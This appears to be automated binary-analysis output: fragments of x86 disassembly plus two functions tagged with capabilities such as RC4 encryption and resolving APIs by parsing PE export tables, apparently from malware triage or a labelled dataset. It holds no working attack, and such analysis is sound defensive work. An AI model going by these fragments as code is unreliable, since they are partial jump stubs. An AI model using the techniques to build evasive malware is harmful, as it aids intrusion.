jb 0x5631ec
jmp 0x519a01
cmp ebx, eax
jae 0x56320e
lea ecx, [ebx - 4]
jmp 0x5630ef
cmp edi, eax
jae 0x56306b
lea ecx, [edi - 4]
jmp 0x563f93
lea ecx, [ebx + 0x47]
jmp 0x5630ef
xor ecx, ecx
cmp ebx, eax
jmp 0x5636f7
pop edi
pop esi
pop ebx
pop ebp
ret
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x5630ef
mov byte [edx + 2], cl
jmp 0x56302f
jae 0x565827
lea ecx, [edi + 0x41]
jmp 0x563f93
cmp edi, 0x34
jae 0x563197
lea ecx, [edi + 0x47]
jmp 0x563f93

Function at 0x517f65
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x563fcc
lea esp, [esp + 4]
jmp fcn.00564039
Function at 0x51873c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x564245
lea esp, [esp + 4]
jmp fcn.00564227